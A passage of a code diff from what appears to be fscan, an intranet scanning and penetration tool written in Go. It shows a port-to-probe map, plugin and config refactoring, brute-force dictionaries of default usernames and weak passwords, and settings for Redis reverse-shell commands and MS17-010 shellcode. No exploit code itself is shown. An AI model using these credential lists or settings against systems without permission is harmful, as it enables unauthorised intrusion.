7002: {"GetRequest"},
7007: {"GetRequest"},
7008: {"DNSVersionBindReqTCP"},
7070: {"GetRequest", "RTSPRequest"},
7100: {"GetRequest", "X11Probe"},
7101: {"X11Probe"},
7144: {"GenericLines"},
7145: {"GenericLines"},
7171: {"NotesRPC"},
7200: {"GenericLines"},
7210: {"SSLSessionReq", "SSLv23SessionReq"},
7272: {"SSLSessionReq", "SSLv23SessionReq"},
7402: {"GetRequest"},
7443: {"GetRequest", "SSLSessionReq"},
7461: {"SMBProgNeg"},
7700: {"JavaRMI"},
7776: {"GetRequest"},
7777: {"X11Probe", "Socks5", "Arucer"},
7780: {"GenericLines"},
7800: {"JavaRMI"},
7801: {"JavaRMI"},
7878: {"JavaRMI"},
7887: {"xmlsysd"},
7890: {"JavaRMI"},
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
8001: {"GetRequest", "FourOhFourRequest"},
8002: {"GetRequest", "FourOhFourRequest"},
8003: {"GetRequest", "FourOhFourRequest"},
8004: {"GetRequest", "FourOhFourRequest"},
8005: {"GetRequest", "FourOhFourRequest"},
8006: {"GetRequest", "FourOhFourRequest"},
8007: {"GetRequest", "FourOhFourRequest"},
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
8050: {"JavaRMI"},
8051: {"JavaRMI"},
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
8082: {"GetRequest", "FourOhFourRequest"},
8083: {"GetRequest", "FourOhFourRequest"},
8084: {"GetRequest", "FourOhFourRequest"},
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
8087: {"riak-pbc"},
8088: {"GetRequest", "Socks5", "Socks4"},
8091: {"JavaRMI"},
8118: {"GetRequest"},
8138: {"GenericLines"},
8181: {"GetRequest", "SSLSessionReq"},
8194: {"SSLSessionReq", "SSLv23SessionReq"},
8205: {"JavaRMI"},
8303: {"JavaRMI"},
8307: {"RPCCheck"},
8333: {"RPCCheck"},
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
8530: {"GetRequest"},
8531: {"GetRequest", "SSLSessionReq"},
8642: {"JavaRMI"},
8686: {"JavaRMI"},
8701: {"JavaRMI"},
8728: {"NotesRPC"},
8770: {"apple-iphoto"},
8880: {"GetRequest", "FourOhFourRequest"},
8881: {"GetRequest", "FourOhFourRequest"},
8882: {"GetRequest", "FourOhFourRequest"},
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
8884: {"GetRequest", "FourOhFourRequest"},
8885: {"GetRequest", "FourOhFourRequest"},
8886: {"GetRequest", "FourOhFourRequest"},
8887: {"GetRequest", "FourOhFourRequest"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
8889: {"JavaRMI"},
8890: {"JavaRMI"},
8901: {"JavaRMI"},
8902: {"JavaRMI"},
8903: {"JavaRMI"},
8999: {"JavaRMI"},
9000: {"GenericLines", "GetRequest"},
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
9002: {"GenericLines", "tor-versions"},
9003: {"GenericLines", "JavaRMI"},
9004: {"JavaRMI"},
9005: {"JavaRMI"},
9030: {"GetRequest"},
9050: {"GetRequest", "JavaRMI"},
9080: {"GetRequest"},
9088: {"informix", "drda"},
9089: {"informix", "drda"},
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
9091: {"informix", "drda"},
9092: {"informix", "drda"},
9093: {"informix", "drda"},
9094: {"informix", "drda"},
9095: {"informix", "drda"},
9096: {"informix", "drda"},
9097: {"informix", "drda"},
9098: {"informix", "drda"},
9099: {"JavaRMI", "informix", "drda"},
9100: {"hp-pjl", "informix", "drda"},
9101: {"hp-pjl"},
9102: {"SMBProgNeg", "hp-pjl"},
9103: {"SMBProgNeg", "hp-pjl"},
9104: {"hp-pjl"},
9105: {"hp-pjl"},
9106: {"hp-pjl"},
9107: {"hp-pjl"},
9300: {"JavaRMI"},
9390: {"metasploit-xmlrpc"},
9443: {"GetRequest", "SSLSessionReq"},
9481: {"Socks5"},
9500: {"JavaRMI"},
9711: {"JavaRMI"},
9761: {"insteonPLM"},
9801: {"GenericLines"},
9809: {"JavaRMI"},
9810: {"JavaRMI"},
9811: {"JavaRMI"},
9812: {"JavaRMI"},
9813: {"JavaRMI"},
9814: {"JavaRMI"},
9815: {"JavaRMI"},
9875: {"JavaRMI"},
9910: {"JavaRMI"},
9930: {"ibm-db2-das"},
9931: {"ibm-db2-das"},
9932: {"ibm-db2-das"},
9933: {"ibm-db2-das"},
9934: {"ibm-db2-das"},
9991: {"JavaRMI"},
9998: {"teamspeak-tcpquery-ver"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
10002: {"ZendJavaBridge", "SharpTV"},
10003: {"ZendJavaBridge"},
10005: {"GetRequest"},
10031: {"HTTPOptions"},
10098: {"JavaRMI"},
10099: {"JavaRMI"},
10162: {"JavaRMI"},
10333: {"teamtalk-login"},
10443: {"GetRequest", "SSLSessionReq"},
10990: {"JavaRMI"},
11001: {"JavaRMI"},
11099: {"JavaRMI"},
11210: {"couchbase-data"},
11211: {"Memcache"},
11333: {"JavaRMI"},
11371: {"GenericLines", "GetRequest"},
11711: {"LDAPSearchReq"},
11712: {"LDAPSearchReq"},
11965: {"GenericLines"},
12000: {"JavaRMI"},
12345: {"Help", "OfficeScan"},
13013: {"GetRequest", "JavaRMI"},
13666: {"GetRequest"},
13720: {"GenericLines"},
13722: {"GetRequest"},
13783: {"DNSVersionBindReqTCP"},
14000: {"JavaRMI"},
14238: {"oracle-tns"},
14443: {"GetRequest", "SSLSessionReq"},
14534: {"GetRequest"},
14690: {"Help"},
15000: {"GenericLines", "GetRequest", "JavaRMI"},
15001: {"GenericLines", "JavaRMI"},
15002: {"GenericLines", "SSLSessionReq"},
15200: {"JavaRMI"},
16000: {"JavaRMI"},
17007: {"RPCCheck"},
17200: {"JavaRMI"},
17988: {"GetRequest"},
18086: {"GenericLines"},
18182: {"SMBProgNeg"},
18264: {"GetRequest"},
18980: {"JavaRMI"},
19150: {"GenericLines", "gkrellm"},
19350: {"LPDString"},
19700: {"kumo-server"},
19800: {"kumo-server"},
20000: {"JavaRMI", "oracle-tns"},
20547: {"proconos"},
22001: {"NotesRPC"},
22490: {"Help"},
23791: {"JavaRMI"},
25565: {"minecraft-ping"},
26214: {"GenericLines"},
26256: {"JavaRMI"},
26470: {"GenericLines"},
27000: {"SMBProgNeg"},
27001: {"SMBProgNeg"},
27002: {"SMBProgNeg"},
27003: {"SMBProgNeg"},
27004: {"SMBProgNeg"},
27005: {"SMBProgNeg"},
27006: {"SMBProgNeg"},
27007: {"SMBProgNeg"},
27008: {"SMBProgNeg"},
27009: {"SMBProgNeg"},
27010: {"SMBProgNeg"},
27017: {"mongodb"},
27036: {"TLS-PSK"},
30444: {"GenericLines"},
31099: {"JavaRMI"},
31337: {"GetRequest", "SIPOptions"},
31416: {"GenericLines"},
32211: {"LPDString"},
32750: {"RPCCheck"},
32751: {"RPCCheck"},
32752: {"RPCCheck"},
32753: {"RPCCheck"},
32754: {"RPCCheck"},
32755: {"RPCCheck"},
32756: {"RPCCheck"},
32757: {"RPCCheck"},
32758: {"RPCCheck"},
32759: {"RPCCheck"},
32760: {"RPCCheck"},
32761: {"RPCCheck"},
32762: {"RPCCheck"},
32763: {"RPCCheck"},
32764: {"RPCCheck"},
32765: {"RPCCheck"},
32766: {"RPCCheck"},
32767: {"RPCCheck"},
32768: {"RPCCheck"},
32769: {"RPCCheck"},
32770: {"RPCCheck"},
32771: {"RPCCheck"},
32772: {"RPCCheck"},
32773: {"RPCCheck"},
32774: {"RPCCheck"},
32775: {"RPCCheck"},
32776: {"RPCCheck"},
32777: {"RPCCheck"},
32778: {"RPCCheck"},
32779: {"RPCCheck"},
32780: {"RPCCheck"},
32781: {"RPCCheck"},
32782: {"RPCCheck"},
32783: {"RPCCheck"},
32784: {"RPCCheck"},
32785: {"RPCCheck"},
32786: {"RPCCheck"},
32787: {"RPCCheck"},
32788: {"RPCCheck"},
32789: {"RPCCheck"},
32790: {"RPCCheck"},
32791: {"RPCCheck"},
32792: {"RPCCheck"},
32793: {"RPCCheck"},
32794: {"RPCCheck"},
32795: {"RPCCheck"},
32796: {"RPCCheck"},
32797: {"RPCCheck"},
32798: {"RPCCheck"},
32799: {"RPCCheck"},
32800: {"RPCCheck"},
32801: {"RPCCheck"},
32802: {"RPCCheck"},
32803: {"RPCCheck"},
32804: {"RPCCheck"},
32805: {"RPCCheck"},
32806: {"RPCCheck"},
32807: {"RPCCheck"},
32808: {"RPCCheck"},
32809: {"RPCCheck"},
32810: {"RPCCheck"},
32913: {"JavaRMI"},
33000: {"JavaRMI"},
33015: {"tarantool"},
34012: {"GenericLines"},
37435: {"HTTPOptions"},
37718: {"JavaRMI"},
38978: {"RPCCheck"},
40193: {"GetRequest"},
41523: {"DNSStatusRequestTCP"},
44443: {"GetRequest", "SSLSessionReq"},
45230: {"JavaRMI"},
47001: {"JavaRMI"},
47002: {"JavaRMI"},
49152: {"FourOhFourRequest"},
49153: {"mongodb"},
49400: {"HTTPOptions"},
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
50001: {"ibm-db2"},
50002: {"ibm-db2"},
50003: {"ibm-db2"},
50004: {"ibm-db2"},
50005: {"ibm-db2"},
50006: {"ibm-db2"},
50007: {"ibm-db2"},
50008: {"ibm-db2"},
50009: {"ibm-db2"},
50010: {"ibm-db2"},
50011: {"ibm-db2"},
50012: {"ibm-db2"},
50013: {"ibm-db2"},
50014: {"ibm-db2"},
50015: {"ibm-db2"},
50016: {"ibm-db2"},
50017: {"ibm-db2"},
50018: {"ibm-db2"},
50019: {"ibm-db2"},
50020: {"ibm-db2"},
50021: {"ibm-db2"},
50022: {"ibm-db2"},
50023: {"ibm-db2"},
50024: {"ibm-db2"},
50025: {"ibm-db2"},
50050: {"JavaRMI"},
50500: {"JavaRMI"},
50501: {"JavaRMI"},
50502: {"JavaRMI"},
50503: {"JavaRMI"},
50504: {"JavaRMI"},
50505: {"metasploit-msgrpc"},
51234: {"teamspeak-tcpquery-ver"},
55552: {"metasploit-msgrpc"},
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
55555: {"GetRequest"},
56667: {"GenericLines"},
59100: {"kumo-server"},
60000: {"ibm-db2", "drda"},
60001: {"ibm-db2"},
60002: {"ibm-db2"},
60003: {"ibm-db2"},
60004: {"ibm-db2"},
60005: {"ibm-db2"},
60006: {"ibm-db2"},
60007: {"ibm-db2"},
60008: {"ibm-db2"},
60009: {"ibm-db2"},
60010: {"ibm-db2"},
60011: {"ibm-db2"},
60012: {"ibm-db2"},
60013: {"ibm-db2"},
60014: {"ibm-db2"},
60015: {"ibm-db2"},
60016: {"ibm-db2"},
60017: {"ibm-db2"},
60018: {"ibm-db2"},
60019: {"ibm-db2"},
60020: {"ibm-db2"},
60021: {"ibm-db2"},
60022: {"ibm-db2"},
60023: {"ibm-db2"},
60024: {"ibm-db2"},
60025: {"ibm-db2"},
60443: {"GetRequest", "SSLSessionReq"},
61613: {"HELP4STOMP"},
}
// GetPortProbes 获取指定端口的探测器列表
func GetPortProbes(port int) []string {
if probes, exists := PortMap[port]; exists {
return probes
}
return DefaultMap // 如果端口没有专用探测器,返回默认探测器
}
// AddPortMapping 添加新的端口映射
func AddPortMapping(port int, probes []string) {
PortMap[port] = probes
}
// GetAllMappedPorts 获取所有已映射的端口列表
func GetAllMappedPorts() []int {
ports := make([]int, 0, len(PortMap))
for port := range PortMap {
ports = append(ports, port)
}
return ports
}

View File

@ -1,246 +0,0 @@
package Common
import "fmt"
// ConfigScanOptions.go - 扫描相关的各种配置和全局变量
// =========================================================
// 扫描目标配置
// =========================================================
var (
Ports string // 要扫描的端口列表,如"80,443,8080"
ExcludePorts string // 要排除的端口列表
ExcludeHosts string // 要排除的主机列表
AddPorts string // 额外添加的端口列表
HostPort []string // 主机:端口格式的目标列表
)
// =========================================================
// 认证与凭据配置
// =========================================================
var (
Username string // 用于认证的用户名
Password string // 用于认证的密码
AddUsers string // 额外添加的用户名列表
AddPasswords string // 额外添加的密码列表
// 特定服务认证
Domain string // Active Directory/SMB域名
HashValue string // 用于哈希认证的单个哈希值
HashValues []string // 哈希值列表
HashBytes [][]byte // 二进制格式的哈希值列表
HashFile string // 包含哈希值的文件路径
SshKeyPath string // SSH私钥文件路径
)
// =========================================================
// 扫描控制配置
// =========================================================
var (
ScanMode string // 扫描模式或指定的插件列表
ThreadNum int // 并发扫描线程数
ModuleThreadNum int // 模块内部线程数
Timeout int64 // 单个扫描操作超时时间(秒)
GlobalTimeout int64 // 整体扫描超时时间(秒)
LiveTop int // 显示的存活主机排名数量
DisablePing bool // 是否禁用主机存活性检测
UsePing bool // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool // 是否启用服务指纹识别
LocalMode bool // 是否启用本地信息收集模式
)
// =========================================================
// 输入文件配置
// =========================================================
var (
HostsFile string // 包含目标主机的文件路径
UsersFile string // 包含用户名列表的文件路径
PasswordsFile string // 包含密码列表的文件路径
PortsFile string // 包含端口列表的文件路径
)
// =========================================================
// Web扫描配置
// =========================================================
var (
TargetURL string // 单个目标URL
URLsFile string // 包含URL列表的文件路径
URLs []string // 解析后的URL目标列表
WebTimeout int64 // Web请求超时时间(秒)默认5秒
HttpProxy string // HTTP代理地址
Socks5Proxy string // SOCKS5代理地址
)
// =========================================================
// POC与漏洞利用配置
// =========================================================
var (
// POC配置
PocPath string // POC脚本路径
Pocinfo PocInfo // POC详细信息结构
DisablePocScan bool // 是否禁用POC扫描
// Redis利用
RedisFile string // Redis利用目标文件
RedisShell string // Redis反弹Shell命令
DisableRedis bool // 是否禁用Redis利用测试
RedisWritePath string // Redis文件写入路径
RedisWriteContent string // Redis文件写入内容
RedisWriteFile string // Redis写入的源文件
// 其他漏洞利用
Shellcode string // 用于MS17010等漏洞利用的Shellcode
)
// =========================================================
// 暴力破解控制
// =========================================================
var (
DisableBrute bool // 是否禁用暴力破解模块
MaxRetries int // 连接失败最大重试次数
)
// =========================================================
// 输出与显示配置
// =========================================================
var (
DisableSave bool // 是否禁止保存扫描结果
Silent bool // 是否启用静默模式
NoColor bool // 是否禁用彩色输出
LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
ShowScanPlan bool // 是否显示扫描计划详情
SlowLogOutput bool // 是否启用慢速日志输出
Language string // 界面语言设置
)
// =========================================================
// 网络配置
// =========================================================
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
Cookie string
)
// =========================================================
// 配置管理函数
// =========================================================
// SetScanDefaults 设置扫描的默认值
func SetScanDefaults() {
if ThreadNum <= 0 {
ThreadNum = 600
}
if ModuleThreadNum <= 0 {
ModuleThreadNum = 10
}
if Timeout <= 0 {
Timeout = 3
}
if GlobalTimeout <= 0 {
GlobalTimeout = 300 // 5分钟
}
if WebTimeout <= 0 {
WebTimeout = 5
}
if MaxRetries <= 0 {
MaxRetries = 3
}
}
// ValidateConfig 验证配置的有效性
func ValidateConfig() error {
// 验证线程数
if ThreadNum > 2000 {
return fmt.Errorf("线程数不能超过2000")
}
// 验证超时设置
if Timeout > 60 {
return fmt.Errorf("单次扫描超时时间不能超过60秒")
}
if GlobalTimeout > 3600 {
return fmt.Errorf("全局超时时间不能超过1小时")
}
return nil
}
// ResetConfig 重置所有配置到默认值
func ResetConfig() {
// 重置扫描目标配置
Ports = ""
ExcludePorts = ""
ExcludeHosts = ""
AddPorts = ""
HostPort = nil
// 重置认证配置
Username = ""
Password = ""
AddUsers = ""
AddPasswords = ""
Domain = ""
HashValue = ""
HashValues = nil
HashBytes = nil
HashFile = ""
SshKeyPath = ""
// 重置扫描控制配置
ScanMode = ""
ThreadNum = 0
ModuleThreadNum = 0
Timeout = 0
GlobalTimeout = 0
LiveTop = 0
DisablePing = false
UsePing = false
EnableFingerprint = false
LocalMode = false
// 重置文件配置
HostsFile = ""
UsersFile = ""
PasswordsFile = ""
PortsFile = ""
// 重置暴力破解配置
DisableBrute = false
MaxRetries = 0
// 重置Web配置
TargetURL = ""
URLsFile = ""
URLs = nil
WebTimeout = 0
HttpProxy = ""
Socks5Proxy = ""
// 重置POC配置
PocPath = ""
Pocinfo = PocInfo{}
DisablePocScan = false
RedisFile = ""
RedisShell = ""
DisableRedis = false
RedisWritePath = ""
RedisWriteContent = ""
RedisWriteFile = ""
Shellcode = ""
// 重置输出配置
DisableSave = false
Silent = false
NoColor = false
LogLevel = ""
ShowProgress = false
ShowScanPlan = false
SlowLogOutput = false
Language = ""
}

View File

@ -1,73 +0,0 @@
package Common
// ConfigServiceDict.go - 服务认证字典和默认密码配置
// Userdict 定义各种服务的默认用户名字典
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"rsync", "root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// Passwords 定义默认密码字典
var Passwords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "elastic123",
}
// GetUserDict 获取指定服务的用户字典
func GetUserDict(service string) []string {
if users, exists := Userdict[service]; exists {
return users
}
return []string{"admin", "root"} // 默认用户名
}
// GetPasswordDict 获取密码字典
func GetPasswordDict() []string {
return Passwords
}
// AddCustomUsers 添加自定义用户名到指定服务
func AddCustomUsers(service string, users []string) {
if existing, exists := Userdict[service]; exists {
Userdict[service] = append(existing, users...)
} else {
Userdict[service] = users
}
}
// AddCustomPasswords 添加自定义密码到密码字典
func AddCustomPasswords(passwords []string) {
Passwords = append(Passwords, passwords...)
}

37
Common/Core/Constants.go Normal file
View File

@ -0,0 +1,37 @@
package core
/*
Constants.go - 核心常量定义
整合Ports.go等常量文件统一管理所有核心常量
*/
// =============================================================================
// 端口常量 (从Ports.go迁移)
// =============================================================================
// 预定义端口组常量
var (
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
)
// =============================================================================
// 扫描模式常量
// =============================================================================
const (
ScanModeAll = "all" // 全扫描模式
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultThreadNum = 600 // 默认线程数
DefaultTimeout = 3 // 默认超时时间(秒)
DefaultScanMode = ScanModeAll // 默认扫描模式
DefaultLanguage = "zh" // 默认语言
DefaultLogLevel = "base" // 默认日志级别
)

84
Common/Core/Manager.go Normal file
View File

@ -0,0 +1,84 @@
package core
import (
"sync"
"github.com/shadow1ng/fscan/common/config"
)
// =============================================================================
// 全局配置变量
// =============================================================================
var (
// 核心扫描配置
ScanMode string // 扫描模式
ThreadNum int // 线程数
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
// 基础认证配置
Username string // 用户名
Password string // 密码
Userdict map[string][]string // 用户字典
Passwords []string // 密码列表
// 网络配置
HttpProxy string // HTTP代理
Socks5Proxy string // SOCKS5代理
// 显示控制
NoColor bool // 禁用颜色
Language string // 语言
LogLevel string // 日志级别
// 端口映射
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
// 初始化锁
initOnce sync.Once
)
// =============================================================================
// 简化的初始化函数
// =============================================================================
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
initOnce.Do(func() {
// 设置默认值
ScanMode = DefaultScanMode
ThreadNum = DefaultThreadNum
Timeout = DefaultTimeout
LogLevel = DefaultLogLevel
Language = DefaultLanguage
// 初始化映射和切片
Userdict = make(map[string][]string)
PortMap = make(map[int][]string)
DefaultMap = make([]string, 0)
// 从config模块获取字典和映射
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
Userdict = serviceDict.GetAllUserDicts()
Passwords = serviceDict.GetPasswords()
}
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
PortMap = probeMapping.GetAllPortMappings()
DefaultMap = probeMapping.GetDefaultProbes()
}
})
}
// =============================================================================
// 访问器函数已移除(未使用的死代码)
// 直接使用全局变量进行访问
// =============================================================================
// init 自动初始化
func init() {
InitGlobalConfig()
}

201
Common/Core/Plugin.go Normal file
View File

@ -0,0 +1,201 @@
package core
import (
"fmt"
"sync"
)
/*
Plugin.go - 插件系统管理
整合Types.go中的插件系统提供统一的插件注册和管理机制
*/
// =============================================================================
// 核心数据结构 (从Types.go迁移)
// =============================================================================
// HostInfo 主机信息结构
type HostInfo struct {
Host string // 主机地址
Ports string // 端口范围
Url string // URL地址
Infostr []string // 附加信息
}
// =============================================================================
// 插件类型常量
// =============================================================================
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
PluginTypeBrute = "brute" // 暴力破解插件
PluginTypePoc = "poc" // POC验证插件
PluginTypeScan = "scan" // 扫描探测插件
)
// =============================================================================
// 插件定义和管理
// =============================================================================
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Version string // 插件版本
Description string // 插件描述
Author string // 插件作者
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
Priority int // 插件优先级(数字越小优先级越高)
Enabled bool // 是否启用
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 插件管理器
type PluginManager struct {
mu sync.RWMutex
plugins map[string]*ScanPlugin
types map[string][]*ScanPlugin // 按类型索引的插件
ports map[int][]*ScanPlugin // 按端口索引的插件
}
// 全局插件管理器实例
var globalPluginManager = NewPluginManager()
// NewPluginManager 创建新的插件管理器
func NewPluginManager() *PluginManager {
return &PluginManager{
plugins: make(map[string]*ScanPlugin),
types: make(map[string][]*ScanPlugin),
ports: make(map[int][]*ScanPlugin),
}
}
// =============================================================================
// 插件基础方法
// =============================================================================
// HasType 检查插件是否具有指定类型
func (p *ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// IsEnabled 检查插件是否启用
func (p *ScanPlugin) IsEnabled() bool {
return p.Enabled
}
// GetInfo 获取插件基本信息
func (p *ScanPlugin) GetInfo() map[string]interface{} {
return map[string]interface{}{
"name": p.Name,
"version": p.Version,
"description": p.Description,
"author": p.Author,
"types": p.Types,
"ports": p.Ports,
"priority": p.Priority,
"enabled": p.Enabled,
}
}
// =============================================================================
// 插件管理器方法
// =============================================================================
// RegisterPlugin 注册插件
func (pm *PluginManager) RegisterPlugin(plugin *ScanPlugin) error {
if plugin == nil {
return fmt.Errorf("plugin cannot be nil")
}
if plugin.Name == "" {
return fmt.Errorf("plugin name cannot be empty")
}
if plugin.ScanFunc == nil {
return fmt.Errorf("plugin scan function cannot be nil")
}
pm.mu.Lock()
defer pm.mu.Unlock()
// 检查插件是否已存在
if _, exists := pm.plugins[plugin.Name]; exists {
return fmt.Errorf("plugin %s already registered", plugin.Name)
}
// 注册插件
pm.plugins[plugin.Name] = plugin
// 按类型索引
for _, pluginType := range plugin.Types {
pm.types[pluginType] = append(pm.types[pluginType], plugin)
}
// 按端口索引
for _, port := range plugin.Ports {
pm.ports[port] = append(pm.ports[port], plugin)
}
return nil
}
// ========================================================================================
// 未使用的插件管理器方法已删除(死代码清理)
// 包括GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
// ========================================================================================
// =============================================================================
// 全局插件管理函数 (保持向后兼容)
// =============================================================================
// RegisterPlugin 注册插件到全局管理器
func RegisterPlugin(name string, plugin ScanPlugin) error {
// 转换为新的插件结构
newPlugin := &ScanPlugin{
Name: name,
Ports: plugin.Ports,
Types: plugin.Types,
Enabled: true,
ScanFunc: plugin.ScanFunc,
}
// 注册到新的插件管理器
err := globalPluginManager.RegisterPlugin(newPlugin)
if err != nil {
return err
}
// 同时更新Legacy管理器以保持向后兼容
LegacyPluginManager[name] = plugin
return nil
}
// GetGlobalPluginManager 方法已删除(死代码清理)
// 向后兼容的全局变量 (已废弃建议使用PluginManager)
var LegacyPluginManager = make(map[string]ScanPlugin)

View File

@ -1,4 +1,4 @@
package Common package common
import ( import (
"flag" "flag"
@ -7,8 +7,75 @@ import (
"strings" "strings"
"github.com/fatih/color" "github.com/fatih/color"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
) )
// Flag专用变量 (只在Flag.go中使用的变量直接定义在这里)
var (
ExcludeHosts string
Ports string
ExcludePorts string
AddPorts string
HostsFile string
PortsFile string
ModuleThreadNum int
GlobalTimeout int64
LiveTop int
UsePing bool
EnableFingerprint bool
AddUsers string
AddPasswords string
UsersFile string
PasswordsFile string
HashFile string
HashValue string
Domain string
SshKeyPath string
TargetURL string
URLsFile string
Cookie string
WebTimeout int64
UserAgent string
Accept string
PocPath string
PocFull bool
DnsLog bool
PocNum int
DisablePocScan bool
RedisFile string
RedisShell string
DisableRedis bool
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableBrute bool
MaxRetries int
DisableSave bool
Silent bool
ShowProgress bool
ShowScanPlan bool
SlowLogOutput bool
Shellcode string
// Parse.go 使用的变量
HostPort []string
URLs []string
HashValues []string
HashBytes [][]byte
)
// Pocinfo POC信息变量
var Pocinfo config.PocInfo
func Banner() { func Banner() {
// 定义暗绿色系 // 定义暗绿色系
colors := []color.Attribute{ colors := []color.Attribute{
@ -60,104 +127,124 @@ func Banner() {
